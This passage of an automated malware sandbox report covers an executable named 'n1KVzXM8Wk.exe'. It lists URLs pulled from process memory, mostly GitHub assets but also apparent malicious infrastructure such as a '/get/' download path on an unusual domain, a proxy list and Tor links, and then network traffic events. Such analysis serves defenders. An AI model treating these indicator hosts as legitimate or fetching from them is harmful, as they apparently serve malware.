Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A51F0000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A408F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2951796876.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119948D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.github.com/_private/browser/errors
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.github.com/_private/browser/stats
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://avatars.githubusercontent.com
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119948D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.jsdelivr.net/npm/bootstrap
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011994F55000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011994421000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/jqueryui/1.12.1/themes/flick/jquery-ui.min.css
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011994421000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/xlsx/0.18.5/xlsx.full.min.js
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://collector.github.com/github/collect
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3D69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://desktop.github.com
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3D69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.github.com
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3D69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.github.com/articles/about-issue-and-pull-request-templates
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3D69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.github.com/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.github.com/search-github/github-code-search/understanding-github-code-search-syntax
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3D69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.github.com/site-policy/github-terms/github-terms-of-service
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3D69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.github.com/site-policy/privacy-policies/github-privacy-statement
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://education.github.com
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119948D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Ubuntu:400
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github-cloud.s3.amazonaws.com
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.blog
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011993C41000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3D69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/TheSpeedX/PROXY-List.git
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/TheSpeedX/PROXY-List/blob/master/http.txt
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/TheSpeedX/PROXY-List/blob/master/http.txt"
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3D69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/TheSpeedX/PROXY-List/blob/master/http.txt?raw=true
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3D69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/TheSpeedX/PROXY-List/raw/master/http.txt
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/fluidicon.png
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/notifications/beta/shelf
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/app_assets_modules_github_behaviors_ajax-error_ts-app_assets_
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_as
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/app_assets_modules_github_behaviors_task-list_ts-app_assets_m
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/app_assets_modules_github_blob-anchor_ts-app_assets_modules_g
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-cbcee078
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-5e0904652c1c.j
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/app_assets_modules_react-code-view_components_directory_Direc
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/behaviors-bde2e016b2b8.js
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/code-ac2c2f3d57f1.css
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/code-menu-2658b004279a.js
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/dark-a167e256da9c.css
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/dark_colorblind-afa99dcf40f7.css
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/dark_dimmed-d11f2cf8009b.css
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/dark_high_contrast-ea7373db06c8.css
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/dark_tritanopia-9b32204967c6.css
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/element-registry-58eba3853ad3.js
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/environment-4ff0d843ea45.js
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/github-8eaab228448a.css
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/github-elements-91586b615d25.js
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/global-05ed4a7e07b5.css
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/keyboard-shortcuts-dialog-9b7386ec0bee.js
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/light-0eace2597ca3.css
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/light_colorblind-af6c685139ba.css
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/light_high_contrast-578cdbc8a5a9.css
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/light_tritanopia-5cb699a7e247.css
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/notifications-global-99d196517b1b.js
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/pinned-octocat-093da3e6fa40.svg
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/primer-08e422afeb43.css
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/primer-primitives-2ef2a46b27ee.css
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/react-code-view-ca607a3ccbc3.js
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/react-lib-1fbfc5be2c18.js
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/repository-6247ca238fd4.css
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/sessions-1164ee5f3e37.js
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/ui_packages_commit-attribution_index_ts-ui_packages_commit-ch
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/ui_packages_failbot_failbot_ts-afaa9a250f2e.js
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/ui_packages_paths_index_ts-6ac43f859e31.js
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/ui_packages_react-core_create-browser-history_ts-ui_packages_
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/ui_packages_react-core_register-app_ts-f7fc9821bc0f.js
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/ui_packages_ref-selector_RefSelector_tsx-858bb94813b1.js
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-72c9fbde5ad4.js
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modu
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_dompurify_dist_purify_js-6890e890956f.js
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_catalyst_lib_index_js-node_module
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_inde
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_j
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_hotkey_dist_index_js-node_modules
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_hydro-analytics-client_dist_analy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_mo
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_turbo_dist_turbo_es2017-esm_js-c9
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-5b376145beff.js
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-5bff297a06
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_focus-zone_js-
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_scroll-into-vi
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_octicons-react_dist_index_esm_js-
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_ActionList_index_js
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_ActionMenu_ActionMe
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Avatar_Avatar_js-no
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Box_Box_js-ebfceb11
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Button_Button_js-05
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Button_IconButton_j
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_ConfirmationDialog_
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Dialog_js-node_modu
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_FormControl_FormCon
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Overlay_Overlay_js-
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_PageLayout_PageLayo
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Text_Text_js-node_m
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_TreeView_TreeView_j
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_react-router-dom_dist_index_js-3b41341d5
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parse
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/wp-runtime-0abd42484719.js
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/favicons/favicon.png
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/favicons/favicon.svg
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011996D49000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995E16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://heygirlisheeverythingyouwantedinaman.com
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199A40E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://heygirlisheeverythingyouwantedinaman.com/
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011996DB2000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011996F2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://heygirlisheeverythingyouwantedinaman.com/get/65d7a6204771942
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011993C41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://heygirlisheeverythingyouwantedinaman.com/get/65d7a62047719422e5d0b85e
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199984E000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998878000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://heygirlisheeverythingyouwantedinaman.com:443
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995E16000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119948D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://heygirlisheeverythingyouwantedinaman.com:443/index.php
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199A6C3000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199AA74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ktxcomay.com.vn
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011994123000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.zscalerthree.net/img_logo_new1.png
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997D88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.zscalertwo.net/img_logo_new1.png
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://opengraph.githubassets.com/d510eef56fcf493b530c4a642192e5f13277b0cfc3a3219696e7493197a5e205/
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://partner.github.com/
Source: n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF704000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF779000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2449218733.00000119AE07E000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF7E2000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199AC2C000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF686000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2449218733.00000119ADFF0000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF652000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF69A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pki.goog/repository/0
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998353000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995BBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://repository.gij.edu.gh
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://resources.github.com/
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://resources.github.com/devops/fundamentals/devsecops/
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://resources.github.com/learn/pathways/
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://skills.github.com/
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3D69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.github.com?tags=dotcom-footer
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://user-images.githubusercontent.com/
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3D69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.githubstatus.com/
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199994A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.torproject.org/documentation.html

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55509
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51387
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51384
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55504
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53325
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51389
Source: unknown	Network traffic detected: HTTP traffic on port 55114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50664 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 52077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50502
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50501
